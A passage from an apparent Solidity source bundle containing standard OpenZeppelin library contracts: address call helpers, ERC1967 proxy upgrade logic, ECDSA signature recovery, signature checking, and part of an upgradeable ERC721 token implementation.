functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check isContract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(isContract(target), \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/interfaces/draft-IERC1822Upgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.5.0) (interfaces/draft-IERC1822.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev ERC1822: Universal Upgradeable Proxy Standard (UUPS) documents a method for upgradeability through a simplified\n * proxy whose upgrades are fully controlled by the current implementation.\n */\ninterface IERC1822ProxiableUpgradeable {\n /**\n * @dev Returns the storage slot that the proxiable contract assumes is being used to store the implementation\n * address.\n *\n * IMPORTANT: A proxy pointing at a proxiable contract should not be considered proxiable itself, because this risks\n * bricking a proxy that upgrades to it, by delegating to itself until out of gas. Thus it is critical that this\n * function revert if invoked through a proxy.\n */\n function proxiableUUID() external view returns (bytes32);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (proxy/ERC1967/ERC1967Upgrade.sol)\n\npragma solidity ^0.8.2;\n\nimport \"../beacon/IBeaconUpgradeable.sol\";\nimport \"../../interfaces/IERC1967Upgradeable.sol\";\nimport \"../../interfaces/draft-IERC1822Upgradeable.sol\";\nimport \"../../utils/AddressUpgradeable.sol\";\nimport \"../../utils/StorageSlotUpgradeable.sol\";\nimport \"../utils/Initializable.sol\";\n\n/**\n * @dev This abstract contract provides getters and event emitting update functions for\n * https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots.\n *\n * _Available since v4.1._\n */\nabstract contract ERC1967UpgradeUpgradeable is Initializable, IERC1967Upgradeable {\n function __ERC1967Upgrade_init() internal onlyInitializing {\n }\n\n function __ERC1967Upgrade_init_unchained() internal onlyInitializing {\n }\n // This is the keccak-256 hash of \"eip1967.proxy.rollback\" subtracted by 1\n bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;\n\n /**\n * @dev Storage slot with the address of the current implementation.\n * This is the keccak-256 hash of \"eip1967.proxy.implementation\" subtracted by 1, and is\n * validated in the constructor.\n */\n bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n\n /**\n * @dev Returns the current implementation address.\n */\n function _getImplementation() internal view returns (address) {\n return StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value;\n }\n\n /**\n * @dev Stores a new address in the EIP1967 implementation slot.\n */\n function _setImplementation(address newImplementation) private {\n require(AddressUpgradeable.isContract(newImplementation), \"ERC1967: new implementation is not a contract\");\n StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;\n }\n\n /**\n * @dev Perform implementation upgrade\n *\n * Emits an {Upgraded} event.\n */\n function _upgradeTo(address newImplementation) internal {\n _setImplementation(newImplementation);\n emit Upgraded(newImplementation);\n }\n\n /**\n * @dev Perform implementation upgrade with additional setup call.\n *\n * Emits an {Upgraded} event.\n */\n function _upgradeToAndCall(address newImplementation, bytes memory data, bool forceCall) internal {\n _upgradeTo(newImplementation);\n if (data.length > 0 || forceCall) {\n AddressUpgradeable.functionDelegateCall(newImplementation, data);\n }\n }\n\n /**\n * @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.\n *\n * Emits an {Upgraded} event.\n */\n function _upgradeToAndCallUUPS(address newImplementation, bytes memory data, bool forceCall) internal {\n // Upgrades from old implementations will perform a rollback test. This test requires the new\n // implementation to upgrade back to the old, non-ERC1822 compliant, implementation. Removing\n // this special case will break upgrade paths from old UUPS implementation to new ones.\n if (StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT).value) {\n _setImplementation(newImplementation);\n } else {\n try IERC1822ProxiableUpgradeable(newImplementation).proxiableUUID() returns (bytes32 slot) {\n require(slot == _IMPLEMENTATION_SLOT, \"ERC1967Upgrade: unsupported proxiableUUID\");\n } catch {\n revert(\"ERC1967Upgrade: new implementation is not UUPS\");\n }\n _upgradeToAndCall(newImplementation, data, forceCall);\n }\n }\n\n /**\n * @dev Storage slot with the admin of the contract.\n * This is the keccak-256 hash of \"eip1967.proxy.admin\" subtracted by 1, and is\n * validated in the constructor.\n */\n bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;\n\n /**\n * @dev Returns the current admin.\n */\n function _getAdmin() internal view returns (address) {\n return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value;\n }\n\n /**\n * @dev Stores a new address in the EIP1967 admin slot.\n */\n function _setAdmin(address newAdmin) private {\n require(newAdmin != address(0), \"ERC1967: new admin is the zero address\");\n StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin;\n }\n\n /**\n * @dev Changes the admin of the proxy.\n *\n * Emits an {AdminChanged} event.\n */\n function _changeAdmin(address newAdmin) internal {\n emit AdminChanged(_getAdmin(), newAdmin);\n _setAdmin(newAdmin);\n }\n\n /**\n * @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy.\n * This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor.\n */\n bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;\n\n /**\n * @dev Returns the current beacon.\n */\n function _getBeacon() internal view returns (address) {\n return StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value;\n }\n\n /**\n * @dev Stores a new beacon in the EIP1967 beacon slot.\n */\n function _setBeacon(address newBeacon) private {\n require(AddressUpgradeable.isContract(newBeacon), \"ERC1967: new beacon is not a contract\");\n require(\n AddressUpgradeable.isContract(IBeaconUpgradeable(newBeacon).implementation()),\n \"ERC1967: beacon implementation is not a contract\"\n );\n StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value = newBeacon;\n }\n\n /**\n * @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does\n * not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that).\n *\n * Emits a {BeaconUpgraded} event.\n */\n function _upgradeBeaconToAndCall(address newBeacon, bytes memory data, bool forceCall) internal {\n _setBeacon(newBeacon);\n emit BeaconUpgraded(newBeacon);\n if (data.length > 0 || forceCall) {\n AddressUpgradeable.functionDelegateCall(IBeaconUpgradeable(newBeacon).implementation(), data);\n }\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[50] private __gap;\n}\n"
},
"lib/openzeppelin-contracts/contracts/utils/cryptography/ECDSA.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/cryptography/ECDSA.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../Strings.sol\";\n\n/**\n * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.\n *\n * These functions can be used to verify that a message was signed by the holder\n * of the private keys of a given address.\n */\nlibrary ECDSA {\n enum RecoverError {\n NoError,\n InvalidSignature,\n InvalidSignatureLength,\n InvalidSignatureS,\n InvalidSignatureV // Deprecated in v4.8\n }\n\n function _throwError(RecoverError error) private pure {\n if (error == RecoverError.NoError) {\n return; // no error: do nothing\n } else if (error == RecoverError.InvalidSignature) {\n revert(\"ECDSA: invalid signature\");\n } else if (error == RecoverError.InvalidSignatureLength) {\n revert(\"ECDSA: invalid signature length\");\n } else if (error == RecoverError.InvalidSignatureS) {\n revert(\"ECDSA: invalid signature 's' value\");\n }\n }\n\n /**\n * @dev Returns the address that signed a hashed message (`hash`) with\n * `signature` or error string. This address can then be used for verification purposes.\n *\n * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:\n * this function rejects them by requiring the `s` value to be in the lower\n * half order, and the `v` value to be either 27 or 28.\n *\n * IMPORTANT: `hash` _must_ be the result of a hash operation for the\n * verification to be secure: it is possible to craft signatures that\n * recover to arbitrary addresses for non-hashed data. A safe way to ensure\n * this is by receiving a hash of the original message (which may otherwise\n * be too long), and then calling {toEthSignedMessageHash} on it.\n *\n * Documentation for signature generation:\n * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]\n * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]\n *\n * _Available since v4.3._\n */\n function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {\n if (signature.length == 65) {\n bytes32 r;\n bytes32 s;\n uint8 v;\n // ecrecover takes the signature parameters, and the only way to get them\n // currently is to use assembly.\n /// @solidity memory-safe-assembly\n assembly {\n r := mload(add(signature, 0x20))\n s := mload(add(signature, 0x40))\n v := byte(0, mload(add(signature, 0x60)))\n }\n return tryRecover(hash, v, r, s);\n } else {\n return (address(0), RecoverError.InvalidSignatureLength);\n }\n }\n\n /**\n * @dev Returns the address that signed a hashed message (`hash`) with\n * `signature`. This address can then be used for verification purposes.\n *\n * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:\n * this function rejects them by requiring the `s` value to be in the lower\n * half order, and the `v` value to be either 27 or 28.\n *\n * IMPORTANT: `hash` _must_ be the result of a hash operation for the\n * verification to be secure: it is possible to craft signatures that\n * recover to arbitrary addresses for non-hashed data. A safe way to ensure\n * this is by receiving a hash of the original message (which may otherwise\n * be too long), and then calling {toEthSignedMessageHash} on it.\n */\n function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {\n (address recovered, RecoverError error) = tryRecover(hash, signature);\n _throwError(error);\n return recovered;\n }\n\n /**\n * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.\n *\n * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]\n *\n * _Available since v4.3._\n */\n function tryRecover(bytes32 hash, bytes32 r, bytes32 vs) internal pure returns (address, RecoverError) {\n bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);\n uint8 v = uint8((uint256(vs) >> 255) + 27);\n return tryRecover(hash, v, r, s);\n }\n\n /**\n * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.\n *\n * _Available since v4.2._\n */\n function recover(bytes32 hash, bytes32 r, bytes32 vs) internal pure returns (address) {\n (address recovered, RecoverError error) = tryRecover(hash, r, vs);\n _throwError(error);\n return recovered;\n }\n\n /**\n * @dev Overload of {ECDSA-tryRecover} that receives the `v`,\n * `r` and `s` signature fields separately.\n *\n * _Available since v4.3._\n */\n function tryRecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address, RecoverError) {\n // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature\n // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines\n // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most\n // signatures from current libraries generate a unique signature with an s-value in the lower half order.\n //\n // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value\n // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or\n // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept\n // these malleable signatures as well.\n if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {\n return (address(0), RecoverError.InvalidSignatureS);\n }\n\n // If the signature is valid (and not malleable), return the signer address\n address signer = ecrecover(hash, v, r, s);\n if (signer == address(0)) {\n return (address(0), RecoverError.InvalidSignature);\n }\n\n return (signer, RecoverError.NoError);\n }\n\n /**\n * @dev Overload of {ECDSA-recover} that receives the `v`,\n * `r` and `s` signature fields separately.\n */\n function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {\n (address recovered, RecoverError error) = tryRecover(hash, v, r, s);\n _throwError(error);\n return recovered;\n }\n\n /**\n * @dev Returns an Ethereum Signed Message, created from a `hash`. This\n * produces hash corresponding to the one signed with the\n * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]\n * JSON-RPC method as part of EIP-191.\n *\n * See {recover}.\n */\n function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32 message) {\n // 32 is the length in bytes of hash,\n // enforced by the type signature above\n /// @solidity memory-safe-assembly\n assembly {\n mstore(0x00, \"\\x19Ethereum Signed Message:\\n32\")\n mstore(0x1c, hash)\n message := keccak256(0x00, 0x3c)\n }\n }\n\n /**\n * @dev Returns an Ethereum Signed Message, created from `s`. This\n * produces hash corresponding to the one signed with the\n * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]\n * JSON-RPC method as part of EIP-191.\n *\n * See {recover}.\n */\n function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {\n return keccak256(abi.encodePacked(\"\\x19Ethereum Signed Message:\\n\", Strings.toString(s.length), s));\n }\n\n /**\n * @dev Returns an Ethereum Signed Typed Data, created from a\n * `domainSeparator` and a `structHash`. This produces hash corresponding\n * to the one signed with the\n * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]\n * JSON-RPC method as part of EIP-712.\n *\n * See {recover}.\n */\n function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32 data) {\n /// @solidity memory-safe-assembly\n assembly {\n let ptr := mload(0x40)\n mstore(ptr, \"\\x19\\x01\")\n mstore(add(ptr, 0x02), domainSeparator)\n mstore(add(ptr, 0x22), structHash)\n data := keccak256(ptr, 0x42)\n }\n }\n\n /**\n * @dev Returns an Ethereum Signed Data with intended validator, created from a\n * `validator` and `data` according to the version 0 of EIP-191.\n *\n * See {recover}.\n */\n function toDataWithIntendedValidatorHash(address validator, bytes memory data) internal pure returns (bytes32) {\n return keccak256(abi.encodePacked(\"\\x19\\x00\", validator, data));\n }\n}\n"
},
"lib/openzeppelin-contracts/contracts/utils/cryptography/SignatureChecker.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/cryptography/SignatureChecker.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./ECDSA.sol\";\nimport \"../../interfaces/IERC1271.sol\";\n\n/**\n * @dev Signature verification helper that can be used instead of `ECDSA.recover` to seamlessly support both ECDSA\n * signatures from externally owned accounts (EOAs) as well as ERC1271 signatures from smart contract wallets like\n * Argent and Gnosis Safe.\n *\n * _Available since v4.1._\n */\nlibrary SignatureChecker {\n /**\n * @dev Checks if a signature is valid for a given signer and data hash. If the signer is a smart contract, the\n * signature is validated against that smart contract using ERC1271, otherwise it's validated using `ECDSA.recover`.\n *\n * NOTE: Unlike ECDSA signatures, contract signatures are revocable, and the outcome of this function can thus\n * change through time. It could return true at block N and false at block N+1 (or the opposite).\n */\n function isValidSignatureNow(address signer, bytes32 hash, bytes memory signature) internal view returns (bool) {\n (address recovered, ECDSA.RecoverError error) = ECDSA.tryRecover(hash, signature);\n return\n (error == ECDSA.RecoverError.NoError && recovered == signer) ||\n isValidERC1271SignatureNow(signer, hash, signature);\n }\n\n /**\n * @dev Checks if a signature is valid for a given signer and data hash. The signature is validated\n * against the signer smart contract using ERC1271.\n *\n * NOTE: Unlike ECDSA signatures, contract signatures are revocable, and the outcome of this function can thus\n * change through time. It could return true at block N and false at block N+1 (or the opposite).\n */\n function isValidERC1271SignatureNow(\n address signer,\n bytes32 hash,\n bytes memory signature\n ) internal view returns (bool) {\n (bool success, bytes memory result) = signer.staticcall(\n abi.encodeWithSelector(IERC1271.isValidSignature.selector, hash, signature)\n );\n return (success &&\n result.length >= 32 &&\n abi.decode(result, (bytes32)) == bytes32(IERC1271.isValidSignature.selector));\n }\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/token/ERC721/ERC721Upgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC721/ERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC721Upgradeable.sol\";\nimport \"./IERC721ReceiverUpgradeable.sol\";\nimport \"./extensions/IERC721MetadataUpgradeable.sol\";\nimport \"../../utils/AddressUpgradeable.sol\";\nimport \"../../utils/ContextUpgradeable.sol\";\nimport \"../../utils/StringsUpgradeable.sol\";\nimport \"../../utils/introspection/ERC165Upgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including\n * the Metadata extension, but not including the Enumerable extension, which is available separately as\n * {ERC721Enumerable}.\n */\ncontract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable {\n using AddressUpgradeable for address;\n using StringsUpgradeable for uint256;\n\n // Token name\n string private _name;\n\n // Token symbol\n string private _symbol;\n\n // Mapping from token ID to owner address\n mapping(uint256 => address) private _owners;\n\n // Mapping owner address to token count\n mapping(address => uint256) private _balances;\n\n // Mapping from token ID to approved address\n mapping(uint256 => address) private _tokenApprovals;\n\n // Mapping from owner to operator approvals\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n /**\n * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.\n */\n function __ERC721_init(string memory name_, string memory symbol_) internal onlyInitializing {\n __ERC721_init_unchained(name_, symbol_);\n }\n\n function __ERC721_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) {\n return\n interfaceId == type(IERC721Upgradeable).interfaceId ||\n interfaceId == type(IERC721MetadataUpgradeable).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev See {IERC721-balanceOf}.\n */\n function balanceOf(address owner) public view virtual override returns (uint256) {\n require(owner != address(0), \"ERC721: address zero is not a valid owner\");\n return _balances[owner];\n }\n\n /**\n * @dev See {IERC721-ownerOf}.\n */\n function ownerOf(uint256 tokenId) public view virtual override returns (address) {\n address owner = _ownerOf(tokenId);\n require(owner != address(0), \"ERC721: invalid token ID\");\n return owner;\n }\n\n /**\n * @dev See {IERC721Metadata-name}.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev See {IERC721Metadata-symbol}.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev See {IERC721Metadata-tokenURI}.\n */\n function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {\n _requireMinted(tokenId);\n\n string memory baseURI = _baseURI();\n return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : \"\";\n }\n\n /**\n * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each\n * token will be the concatenation of the `baseURI` and the `tokenId`. Empty\n * by default, can be overridden in child contracts.\n */\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n /**\n * @dev See {IERC721-approve}.\n */\n function approve(address to, uint256 tokenId) public virtual override {\n address owner = ERC721Upgradeable.ownerOf(tokenId);\n require(to != owner, \"ERC721: approval to current owner\");\n\n require(\n _msgSender() == owner || isApprovedForAll(owner, _msgSender()),\n \"ERC721: approve caller is not token owner or approved for all\"\n );\n\n _approve(to, tokenId);\n }\n\n /**\n * @dev See {IERC721-getApproved}.\n */\n function getApproved(uint256 tokenId) public view virtual override returns (address) {\n _requireMinted(tokenId);\n\n return _tokenApprovals[tokenId];\n }\n\n /**\n * @dev See {IERC721-setApprovalForAll}.\n */\n function setApprovalForAll(address operator, bool approved) public virtual override {\n _setApprovalForAll(_msgSender(), operator, approved);\n }\n\n /**\n * @dev See {IERC721-isApprovedForAll}.\n */\n function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n /**\n * @dev See {IERC721-transferFrom}.\n */\n function transferFrom(address from, address to, uint256 tokenId) public virtual override {\n //solhint-disable-next-line max-line-length\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner or approved\");\n\n _transfer(from, to, tokenId);\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public virtual override {\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner or approved\");\n _safeTransfer(from, to, tokenId, data);\n }\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * `data` is additional data, it has no specified format and it is sent in call to `to`.\n *\n * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.\n * implement alternative mechanisms to perform token transfer, such as signature-based.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeTransfer(address from, address to, uint256 tokenId, bytes memory data) internal virtual {\n _transfer(from, to, tokenId);\n require(_checkOnERC721Received(from, to, tokenId, data), \"ERC721: transfer to non ERC721Receiver implementer\");\n }\n\n /**\n * @dev Returns the owner of the `tokenId`. Does NOT revert if token doesn't exist\n */\n function _ownerOf(uint256 tokenId) internal view virtual returns (address) {\n return _owners[tokenId];\n }\n\n /**\n * @dev Returns whether `tokenId` exists.\n *\n * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.\n *\n * Tokens start existing when they are minted (`_mint`),\n * and stop existing when they are burned (`_burn`).\n */\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return _ownerOf(tokenId) != address(0);\n }\n\n /**\n * @dev Returns whether `spender` is allowed to manage `tokenId`.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {\n address owner = ERC721Upgradeable.ownerOf(tokenId);\n return (spender == owner || isApprovedForAll(owner, spender) || getApproved(tokenId) == spender);\n }\n\n /**\n * @dev Safely mints `tokenId` and transfers it to `to`.\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeMint(address to, uint256 tokenId) internal virtual {\n _safeMint(to, tokenId, \"\");\n }\n\n /**\n * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is\n * forwarded in {IERC721Receiver-onERC721Received} to contract recipients.\n */\n function _safeMint(address to, uint256 tokenId, bytes memory data) internal virtual {\n _mint(to, tokenId);\n require(\n _checkOnERC721Received(address(0), to, tokenId, data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n /**\n * @dev Mints `tokenId` and transfers it to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - `to` cannot be the zero address.\n *\n * Emits a {Transfer} event.\n */\n function _mint(address to, uint256 tokenId) internal virtual {\n require(to != address(0), \"ERC721: mint to the zero address\");\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n _beforeTokenTransfer(address(0), to, tokenId, 1);\n\n // Check that tokenId was not minted by `_beforeTokenTransfer` hook\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n unchecked {\n // Will not overflow unless all 2**256 token ids are minted to the same owner.\n // Given that tokens are minted one by one, it is impossible in practice that\n // this ever happens. Might change if we allow batch minting.\n // The ERC fails to describe this case.\n _balances[to] += 1;\n }\n\n _owners[tokenId] = to;\n\n emit Transfer(address(0), to, tokenId);\n\n _afterTokenTransfer(address(0), to, tokenId, 1);\n }\n\n /**\n * @dev Destroys `tokenId`.\n * The approval is cleared when the token is burned.\n * This is an internal function that does not check if the sender is authorized to operate on the token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n *\n * Emits a {Transfer} event.\n */\n function _burn(uint256 tokenId) internal virtual {\n address owner = ERC721Upgradeable.ownerOf(tokenId);\n\n _beforeTokenTransfer(owner, address(0), tokenId, 1);\n\n // Update ownership in case tokenId was transferred by `_beforeTokenTransfer` hook\n owner = ERC721Upgradeable.ownerOf(tokenId);\n\n // Clear approvals\n delete _tokenApprovals[tokenId];\n\n unchecked {\n // Cannot overflow, as that would require more tokens to be burned/transferred\n // out than the owner initially received through minting and transferring in.\n _balances[owner] -= 1;\n }\n delete _owners[tokenId];\n\n emit Transfer(owner, address(0), tokenId);\n\n _afterTokenTransfer(owner, address(0), tokenId, 1);\n }\n\n /**\n * @dev Transfers `tokenId` from `from` to `to`.\n * As opposed to {transferFrom}, this imposes no restrictions on msg.sender.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n *\n * Emits a {Transfer} event.\n */\n function _transfer(address from, address to, uint256 tokenId) internal virtual {\n require(ERC721Upgradeable.ownerOf(tokenId) == from, \"ERC721: transfer from incorrect owner\");\n require(to != address(0), \"ERC721: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, tokenId, 1);\n\n // Check that tokenId was not transferred by `_beforeTokenTransfer` hook\n require(ERC721Upgradeable.ownerOf(tokenId) == from, \"ERC721: transfer from incorrect owner\");\n\n // Clear approvals from the previous owner\n delete _tokenApprovals[tokenId];\n\n unchecked {\n // `_balances[from]` cannot overflow for the same reason as described in `_burn`:\n // `from`'s balance is the number of token held, which is at least one before the current\n // transfer.\n // `_balances[to]` could overflow in the conditions described in `_mint`. That would require\n // 